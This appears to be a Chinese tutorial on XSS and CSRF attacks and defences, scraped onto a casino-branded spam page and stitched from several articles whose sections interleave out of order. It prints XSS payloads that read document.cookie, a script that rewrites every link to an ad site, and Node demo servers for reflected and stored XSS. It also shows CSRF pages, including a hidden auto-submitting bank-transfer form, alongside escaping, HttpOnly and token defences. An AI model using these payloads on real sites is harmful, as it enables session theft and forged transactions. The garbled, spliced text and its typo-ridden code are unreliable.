澳门新浦京娱乐场网站-www.146.net-新浦京娱乐场官网
做最好的网站

澳门新浦京娱乐场网站:从互联网诞生起

浅说 XSS 和 CSRF

2018/07/16 · 基础技术 · CSRF, XSS

原文出处: dwqs   

在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问题。

声明:本文的示例仅用于演示相关的攻击原理

web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等

客户端(浏览器)安全

从互联网诞生起,安全威胁就一直伴随着网站的发展,各种Web攻击和信息泄露也从未停止。常见的攻击手段有XSS攻击、SQL注入、CSRF、Session劫持等。

XSS

XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS。

XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

XSS攻击可以分为3类:反射型(非持久型)、存储型(持久型)、基于DOM。

 

同源策略(Same Origin Policy)

同源策略阻止从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性。

如:

不能通过Ajax获取另一个源的数据;

JavaScript不能访问页面中iframe加载的跨域资源。

对 http://store.company.com/dir/page.html 同源检测

澳门新浦京娱乐场网站 1

img

1、XSS攻击

XSS攻击即跨站点脚本攻击(Cross Site Script),指黑客通过篡改网页,注入恶意HTML脚本,在用户访问网页时,控制用户浏览器进行恶意操作的一种攻击方式。

常见的XSS攻击类型有两种,一种是反射型,攻击者诱使用户点击一个嵌入恶意脚本的链接,达到攻击的目的,如下图所示:

澳门新浦京娱乐场网站 2

 

另一种XSS攻击是持久型XSS攻击,黑客提交含有恶意脚本的请求,保存在被攻击的Web站点的数据库中,用户浏览网页时,恶意脚本被包含在正常页面中,达到攻击的目的,如下图所示:

澳门新浦京娱乐场网站 3

消毒

对某些html字符转义,如“>”转义为“>”等。

HttpOnly

即浏览器禁止页面javascript访问带有HttpOnly属性的Cookie。可通过对Cookie添加HttpOnly属性,避免被攻击者利用Cookie获取用户信息。

反射型

反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器,这种攻击方式往往需要攻击者诱使用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。

看一个示例。我先准备一个如下的静态页:

澳门新浦京娱乐场网站 4

恶意链接的地址指向了 localhost:8001/?q=111&p=222。然后,我再启一个简单的 Node 服务处理恶意链接的请求:

JavaScript

const http = require('http'); function handleReequest(req, res) { res.setHeader('Access-Control-Allow-Origin', '*'); res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write('<script>alert("反射型 XSS 攻击")</script>'); res.end(); } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

1
2
3
4
5
6
7
8
9
10
11
const http = require('http');
function handleReequest(req, res) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
    res.write('<script>alert("反射型 XSS 攻击")</script>');
    res.end();
}
 
const server = new http.Server();
server.listen(8001, '127.0.0.1');
server.on('request', handleReequest);

当用户点击恶意链接时,页面跳转到攻击者预先准备的页面,会发现在攻击者的页面执行了 js 脚本:

澳门新浦京娱乐场网站 5

这样就产生了反射型 XSS 攻击。攻击者可以注入任意的恶意脚本进行攻击,可能注入恶作剧脚本,或者注入能获取用户隐私数据(如cookie)的脚本,这取决于攻击者的目的。

一、XSS(Cross Site Scripting)跨站脚本

  XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码。

数据流程为:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。

跨站脚本,顾名思义,更多的情况下是注入一些js代码,实现站点影响或窃取用户信息等目的。

一般的攻击方式:

><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>

<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
<div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)

通过在站点中可输入的文本区域,输入类似上述提到的js代码,若站点未对数据进行验证处理,脚本就会存入数据库,进而显示给其他用户,则其他用户将会受到影响。

而影响方式主要有几个:

  1. 如果是这种无聊恶意的

<script>alert(哈哈哈你关不掉我的~)</script>

用户打开相应站点则..关不掉..

或者恶意更改站点原数据

<script>
window.onload = function() {
    var links=document.getElementsByTagName("a");
    for(var i=0,j=links.length;i<j;i  ){
        links[i].href="http://ad.com/";
    }
};
</script>

 

  2.窃取cookie,或者更直接的是拿到sessionId(拿到该用户的登录凭证)

如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。 

而使用方式可以是暴力地直接跳转到恶意站点并附带参数,软暴力地则可以使用 img  link  script 标签src属性直接加载某个恶意站点,或者使用ajax暗地操刀。

  3.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作(这个已经属于csrf范畴了)

 

一般的防御措施:

  1.永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

less-than character (<) &lt;
greater-than character (>) &gt;
ampersand character (&) &amp;
double-quote character (") &quot;
space character( ) &nbsp;
Any ASCII code character whose code is greater-than or equal to 0x80 &#<number>, where <number> is the ASCII character value.

比如用户输入:

<script>window.location.href=”http://www.baidu.com”;</script>,

保存后最终存储的会是:

&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;

在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

许多语言都有提供对HTML的过滤:

PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。

  2.HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。

目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

比如php代码的使用

<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
?>
<script>
    alert(document.cookie);
</script>

js只能读到没有HttpOnly标识的Cookie

澳门新浦京娱乐场网站 6

 

 

跨域限制

  1. 浏览器中,script、img、iframe、link等标签,可以跨域引用或加载资源。
  2. 不同于 XMLHttpRequest,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
  3. XMLHttpRequest 也受到也同源策略的约束,不能跨域访问资源。

2、注入攻击

注入攻击主要有两种形式,SQL注入攻击和OS注入攻击。SQL注入攻击的原理如下图所示。攻击者在HTTP请求中注入恶意的SQL命令,服务器用请求构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中运行。

澳门新浦京娱乐场网站 7

除了SQL注入,攻击者还根据具体应用,注入OS命令、编程语言代码等达到攻击目的。

 

消毒

和防XSS攻击一样,过滤请求数据中可能注入的SQL,如"drop table"等。另外还可以利用参数绑定来防止SQL注入。

存储型

存储型 XSS 会把用户输入的数据 “存储” 在服务器端,当浏览器请求数据时,脚本从服务器上传回并执行。这种 XSS 攻击具有很强的稳定性。

比较常见的一个场景是攻击者在社区或论坛上写下一篇包含恶意 JavaScript 代码的文章或评论,文章或评论发表后,所有访问该文章或评论的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码。

举一个示例。

先准备一个输入页面:

<input type="text" id="input"> <button id="btn">Submit</button> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', (e) => { fetch('', { method: 'POST', body: val }); }, false); </script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<input type="text" id="input">
<button id="btn">Submit</button>  
 
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
 
    let val;
    
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);
 
    btn.addEventListener('click', (e) => {
        fetch('http://localhost:8001/save', {
            method: 'POST',
            body: val
        });
    }, false);
</script>

启动一个 Node 服务监听 save 请求。为了简化,用一个变量来保存用户的输入:

const http = require('http'); let userInput = ''; function handleReequest(req, res) { const method = req.method; res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type') if (method === 'POST' && req.url === '/save') { let body = ''; req.on('data', chunk => { body = chunk; }); req.on('end', () => { if (body) { userInput = body; } res.end(); }); } else { res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'}); res.write(userInput); res.end(); } } const server = new http.Server(); server.listen(8001, '127.0.0.1'); server.on('request', handleReequest);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const http = require('http');
 
let userInput = '';
 
function handleReequest(req, res) {
    const method = req.method;
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type')
    
    if (method === 'POST' && req.url === '/save') {
        let body = '';
        req.on('data', chunk => {
            body = chunk;
        });
 
        req.on('end', () => {
            if (body) {
                userInput = body;
            }
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html; charset=UTF-8'});
        res.write(userInput);
        res.end();
    }
}
 
const server = new http.Server();
server.listen(8001, '127.0.0.1');
 
server.on('request', handleReequest);

当用户点击提交按钮将输入信息提交到服务端时,服务端通过 userInput 变量保存了输入内容。当用户通过 http://localhost:8001/${id} 访问时,服务端会返回与 id 对应的内容(本示例简化了处理)。如果用户输入了恶意脚本内容,则其他用户访问该内容时,恶意脚本就会在浏览器端执行:

澳门新浦京娱乐场网站 8

二、CSRF (Cross Site Request Fogery)跨站请求伪造

  XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

    CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。 

要完成一次CSRF攻击,受害者必须依次完成两个步骤:

1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。

是的,确实如此,但你不能保证以下情况不会发生:
  1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
  2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……)
  3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
   上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)

示例1:
银行网站A,它以GET请求来完成银行转账的操作,如:

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险网站B,它里面有一段HTML的代码如下:

 <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块……
    为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“

结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作……

示例2:
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:  

<form action="Transfer.php" method="POST">
        <p>ToBankId: <input type="text" name="toBankId" /></p>
        <p>Money: <input type="text" name="money" /></p>
        <p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下:

<?php
      session_start();
    if (isset($_REQUEST[&#039;toBankId&#039;] && isset($_REQUEST[&#039;money&#039;]))
    {
       buy_stocks($_REQUEST[&#039;toBankId&#039;], $_REQUEST[&#039;money&#039;]);
    }
?>

危险网站B,仍然只是包含那句HTML代码:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

 和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果…..和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。 

示例3:
    经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

<?php
     session_start();
     if (isset($_POST['toBankId'] && isset($_POST['money']))
     {
        buy_stocks($_POST['toBankId'], $_POST['money']);
     }
?>

然而,危险网站B与时俱进,它改了一下代码:

<html>
      <head>
        <script type="text/javascript">
          function steal()
          {
                   iframe = document.frames["steal"];
                   iframe.document.Submit("transfer");
          }
        </script>
      </head>
      <body onload="steal()">
        <iframe name="steal" display="none">
          <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
            <input type="hidden" name="toBankId" value="11">
            <input type="hidden" name="money" value="1000">
          </form>
        </iframe>
      </body>
</html>

 如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块……因为这里危险网站B暗地里发送了POST请求到银行

    总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个<img>就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
    理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的.

 

那有什么防御方法?

一般防御CSRF有三种方法,判断referer、验证码、token。

  1.判断 referer

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。

在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

比如某银行的转账是通过用户访问. test域名开头的地址)。

而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。

因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

比如php的:

<?php
    if(eregi(”bank.test”, $_SERVER[’HTTP_REFERER’])) {
        do_something();
    } else {
        echo “Malicious Request!”;
    }
?> 

这个检测则会轻易的忽略掉来自某个攻击者伪造的HTTP Referer欺骗,

由于HTTP Referer是由客户端浏览器发送的,或者其他在恶意脚本中伪造HTTP头并发送的方法。攻击者可以使用如下代码是伪造无效的。

header(”Referer: bank.test”);

但缺点是并不是所有浏览器都支持referer头,或者一些flash的提交也不支持,所以存在着缺陷。

 

  2.验证码

另外一个解决这类问题的思路则是在用户提交的每一个表单中使用一个随机验证码,让用户在文本框中填写图片上的随机字符串,并且在提交表单后对其进行检测。

这个方法曾经在之前被人们放弃,这是由于验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。

而验证码的过度使用也会影响到用户体验。

  3.token

1)在请求地址中添加token并验证

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。

由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。

鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

还是用php举例:

让我们从令牌值的生成开始:

<?php
function gen_token() {
// Generate the md5 hash of a randomized uniq id
$hash = md5(uniqid(rand(), true));
// Select a random number between 1 and 24 (32-8)
$n = rand(1, 24);
// Generate the token retrieving a part of the hash starting from
// the random N number with 8 of lenght
$token = substr($hash, $n, 8);
return $token;
}
?>

PHP函数uniqid()允许web开发者根据当前的时间(毫秒数)获得一个唯一的ID,这个唯一ID有利于生成一个不重复的数值。

我们检索相应ID值的MD5散列,而后我们从该散列中以一个小于24的数字为开始位置,选取8位字母、

返回的$token变量将检索一个8位长的随机令牌。

现在让我们生成一个Session令牌,在稍后的检查中我们会用到它。

<?php
function gen_stoken() {
// Call the function to generate the token
$token = gen_token();
// Destroy any eventually Session Token variable
destroy_stoken();
// Create the Session Token variable
session_register(STOKEN_NAME);
$_SESSION[STOKEN_NAME] = $token;
}
?>

在这个函数中我们调用gen_token()函数,并且使用返回的令牌将其值复制到一个新的$_SESSION变量。

现在让我们来看启动完整机制中为我们的表单生成隐藏输入域的函数:

<?php
function gen_input() {
// Call the function to generate the Session Token variable
gen_stoken();
// Generate the form input code
echo “<input type=”hidden” name=”" . FTOKEN_NAME . “”
value=”" . $_SESSION[STOKEN_NAME] . “”> “;
}
?>

我们可以看到,这个函数调用了gen_stoken()函数并且生成在WEB表单中包含隐藏域的HTML代码。

接下来让我们来看实现对隐藏域中提交的Session令牌的检测的函数:

<?php
function token_check() {
// Check if the Session Token exists
if(is_stoken()) {
// Check if the request has been sent
if(isset($_REQUEST[FTOKEN_NAME])) {
// If the Form Token is different from Session Token
// it’s a malicious request
if($_REQUEST[FTOKEN_NAME] != $_SESSION[STOKEN_NAME]) {
gen_error(1);
destroy_stoken();
exit();
} else {
destroy_stoken();
}
// If it isn’t then it’s a malicious request
} else {
gen_error(2);
destroy_stoken();
exit();
}
// If it isn’t then it’s a malicious request
} else {
gen_error(3);
destroy_stoken();
exit();
}
}
?>

这个函数检测了$_SESSION[STOKEN_NAME]和$_REQUEST[FTOKEN_NAME]的存在性(我使用了$ _REQUEST方法来使得GET和POST两种方式提交的表单变量均能够被接受),而后检测他们的值是否相同,因此判断当前表单提交是否是经过认证授权的。

这个函数的重点在于:在每次检测步骤结束后,令牌都会被销毁,并且仅仅在下一次表单页面时才会重新生成。

这些函数的使用方法非常简单,我们只需要加入一些PHP代码结构。

下面是Web表单:

<?php
session_start();
include(”functions.php”);
?>
<form method=”POST” action=”resolve.php”>
<input type=”text” name=”first_name”>
<input type=”text” name=”last_name”>
<!– Call the function to generate the hidden input –>
<? gen_input(); ?>
<input type=”submit” name=”submit” value=”Submit”>
</form>

下面是解决的脚本代码:

<?php
session_start();
include(”functions.php”);

// Call the function to make the check
token_check();

// Your code
…
?>

 

2)在HTTP头中自定义属性并验证

自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到HTTP头中自定义的属性里。

通过XMLHttpRequest这个类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。

这样解决了前一种方法在请求中加入token的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心token会通过Referer泄露到其他网站。

 

JSONP

为了解决 XMLHttpRequest 同源策略的局限性,JSONP出现了。

JSONP并不是一个官方的协议,它是利用script标签中src属性具有跨域加载资源的特性,而衍生出来的跨域数据访问方式。

3、CSRF攻击

CSRF即Cross Site Request Forgery 跨站点请求伪造,攻击者通过跨站点请求,以合法用户的身份进行非法操作。CSRF的主要手段是利用跨站请求,在用户不知情的情况下,以用户的身份伪造请求。其核心是利用了浏览器Cookie或服务器Session策略,盗取用户身份

澳门新浦京娱乐场网站 9

表单Toke

CSRF是一个伪造用户请求的操作,所以需要构造用户请求的所有参数才可以,表单Token通过在请求参数中增加随机数的办法来组织攻击者获取所有请求参数。

验证码

更加简单高效,即请求提交时,需要用户输入验证码,以避免在用户不知情的情况下被攻击者伪造请求。

Referer Check

HTTP请求头的Referer域中记录着请求来源,可通过检查请求来源,验证其是否合法,还可以利用这个功能来实现突破防盗链。

基于DOM

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。

看如下代码:

<h2>XSS: </h2> <input type="text" id="input"> <button id="btn">Submit</button> <div id="div"></div> <script> const input = document.getElementById('input'); const btn = document.getElementById('btn'); const div = document.getElementById('div'); let val; input.addEventListener('change', (e) => { val = e.target.value; }, false); btn.addEventListener('click', () => { div.innerHTML = `<a href=${val}>testLink</a>` }, false); </script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<h2>XSS: </h2>
<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
    const input = document.getElementById('input');
    const btn = document.getElementById('btn');
    const div = document.getElementById('div');
 
    let val;
    
    input.addEventListener('change', (e) => {
        val = e.target.value;
    }, false);
 
    btn.addEventListener('click', () => {
        div.innerHTML = `<a href=${val}>testLink</a>`
    }, false);
</script>

点击 Submit 按钮后,会在当前页面插入一个链接,其地址为用户的输入内容。如果用户在输入时构造了如下内容:

'' onclick=alert(/xss/)

1
2
'' onclick=alert(/xss/)
 

用户提交之后,页面代码就变成了:

<a href onlick="alert(/xss/)">testLink</a>

1
<a href onlick="alert(/xss/)">testLink</a>

此时,用户点击生成的链接,就会执行对应的脚本:

澳门新浦京娱乐场网站 10

CORS(Cross-Origin Resource Sharing)

CORS,即:跨域资源共享

这是W3C委员会制定的一个新标准,用于解决 XMLHttpRequest 不能跨域访问资源的问题。目前支持情况良好(特指移动端)。

想了解更多,可查看之前的文章:《CORS(Cross-Origin Resource Sharing) 跨域资源共享》


4、WEB应用防火墙

ModSecurity是一个开源的Web应用防火墙,探测攻击并保护Web应用程序,既可以嵌入到Web应用服务器中,也可以作为一个独立的应用程序启动。ModSecurity最早只是Apache的一个模块,现在已经有JAVA、NET多个版本,并支持Nginx。

ModSecurity采用处理逻辑与攻击规则集合分离的架构模式。处理逻辑(执行引擎)负载请求和相应的拦截过滤,规则加载执行等功能。而攻击规则集合则负责描述对具体攻击的规则定义、模式识别、防御策略等功能。处理逻辑比较稳定,规则集合需要不断针对漏洞进行升级,这是一种可扩展的架构设计。

澳门新浦京娱乐场网站 11

 

XSS 攻击的防范

现在主流的浏览器内置了防范 XSS 的措施,例如 CSP。但对于开发者来说,也应该寻找可靠的解决方案来防止 XSS 攻击。

XSS(Cross Site Script)

XSS(Cross Site Script) 即:跨站脚本攻击

本来缩写其应该是CSS,不过为了避免和CSS层叠样式表 (Cascading Style Sheets)重复,所以在安全领域叫做 XSS 。

5、信息加密技术

为了保护网站的敏感数据,应用需要对某些数据进行加密处理,信息加密技术科分为三类:单向散列加密、对称加密和非对称加密

HttpOnly 防止劫取 Cookie

HttpOnly 最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript 访问带有 HttpOnly 属性的Cookie。

上文有说到,攻击者可以通过注入恶意脚本获取用户的 Cookie 信息。通常 Cookie 中都包含了用户的登录凭证信息,攻击者在获取到 Cookie 之后,则可以发起 Cookie 劫持攻击。所以,严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 Cookie 劫持攻击。

XSS 分类

XSS 主要分为两种形态

  1. 反射型XSS(非持久型XSS)。需要诱惑用户去激活的XSS攻击,如:点击恶意链接。
  2. 存储型XSS。混杂有恶意代码的数据被存储在服务器端,当用户访问输出该数据的页面时,就会促发XSS攻击。具有很强的稳定性。

5.1单向散列加密

单向散列加密是指通过对不同输入长度的信息进行散列计算,得到固定长度的输出,这个散列计算过程是单向的,如下图所示。

澳门新浦京娱乐场网站 12

单向散列加密一般主要用途是用户密码的加密,使密码不可逆的保存到数据库中,即便数据库信息泄露,攻击者也无法知晓原密码是什么。

常见的单向散列算法有MD5、SHA等。

输入检查

不要相信用户的任何输入。 对于用户的任何输入要进行检查、过滤和转义。建立可信任的字符和 HTML 标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。

在 XSS 防御中,输入检查一般是检查用户输入的数据中是否包含 <> 等特殊字符,如果存在,则对特殊字符进行过滤或编码,这种方式也称为 XSS Filter。

而在一些前端框架中,都会有一份 decodingMap, 用于对用户输入所包含的特殊字符或标签进行编码或过滤,如 <>script,防止 XSS 攻击:

JavaScript

// vuejs 中的 decodingMap // 在 vuejs 中,如果输入带 script 标签的内容,会直接过滤掉 const decodingMap = { '<': '<', '>': '>', '"': '"', '&': '&', ' ': 'n' }

1
2
3
4
5
6
7
8
9
10
// vuejs 中的 decodingMap
// 在 vuejs 中,如果输入带 script 标签的内容,会直接过滤掉
const decodingMap = {
  '&lt;': '<',
  '&gt;': '>',
  '&quot;': '"',
  '&amp;': '&',
  '
': 'n'
}

XSS Payload

XSS Payload,是指那些用于完成各种具体功能的恶意脚本。

澳门新浦京娱乐场网站,由于实现XSS攻击可以通过JavaScript、ActiveX控件、Flash插件、Java插件等技术手段实现,下面只讨论JavaScript的XSS Payload。

通过JavaScript实现的XSS Payload,一般有以下几种:

  1. Cookie劫持
  2. 构造请求
  3. XSS钓鱼
  4. CSS History Hack

5.2对称加密

即加密和解密都使用同一个密钥,如下图所示:

澳门新浦京娱乐场网站 13

常用的对称加密算法有DES算法、RC算法等。对称加密是一种传统的加密手段,也是最常用的加密手段,适用于大多数场合。

 

输出检查

用户的输入会存在问题,服务端的输出也会存在问题。一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

Cookie劫持

由于Cookie中,往往会存储着一些用户安全级别较高的信息,如:用户的登陆凭证。

当用户所访问的网站被注入恶意代码,它只需通过 *document.cookie *这句简单的JavaScript代码,就可以顺利获取到用户当前访问网站的cookies。

如果攻击者能获取到用户登陆凭证的Cookie,甚至可以绕开登陆流程,直接设置这个cookie的值,来访问用户的账号。

5.3非对称加密

非对称加密使用的加密和解密不是同一密钥,其中一个对外界公开,被成为公钥,另一个只有所有者知道,被称作私钥。用公钥加密的信息必须用私钥才能解开,反正,用私钥加密的信息只有用公钥才能解开,如下图所示:

澳门新浦京娱乐场网站 14

非对称加密常用算法有RSA等。HTTPS传输中浏览器使用的数字证书实质上是经过权威机构认证的非对称加密的公钥

CSRF

CSRF,即 Cross Site Request Forgery,中译是跨站请求伪造,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任,可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作。

在举例子之前,先说说浏览器的 Cookie 策略。

构造请求

JavaScript 可以通过多种方式向服务器发送GET与POST请求。

网站的数据访问和操作,基本上都是通过向服务器发送请求而实现的。

如果让恶意代码顺利模拟用户操作,向服务器发送有效请求,将对用户造成重大损失。

例如:更改用户资料、删除用户信息等...

浏览器的 Cookie 策略

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。Cookie 主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 个性化设置(如用户自定义设置、主题等)

而浏览器所持有的 Cookie 分为两种:

  • Session Cookie(会话期 Cookie):会话期 Cookie 是最简单的Cookie,它不需要指定过期时间(Expires)或者有效期(Max-Age),它仅在会话期内有效,浏览器关闭之后它会被自动删除。
  • Permanent Cookie(持久性 Cookie):与会话期 Cookie 不同的是,持久性 Cookie 可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

1
res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

上述代码创建了两个 Cookie:mycookietest,前者属于会话期 Cookie,后者则属于持久性 Cookie。当我们去查看 Cookie 相关的属性时,不同的浏览器对会话期 Cookie 的 Expires 属性值会不一样:

Firefox:

澳门新浦京娱乐场网站 15

Chrome:

澳门新浦京娱乐场网站 16

此外,每个 Cookie 都会有与之关联的域,这个域的范围一般通过 donmain 属性指定。如果 Cookie 的域和页面的域相同,那么我们称这个 Cookie 为第一方 Cookie(first-party cookie),如果 Cookie 的域和页面的域不同,则称之为第三方 Cookie(third-party cookie)。一个页面包含图片或存放在其他域上的资源(如图片)时,第一方的 Cookie 也只会发送给设置它们的服务器。

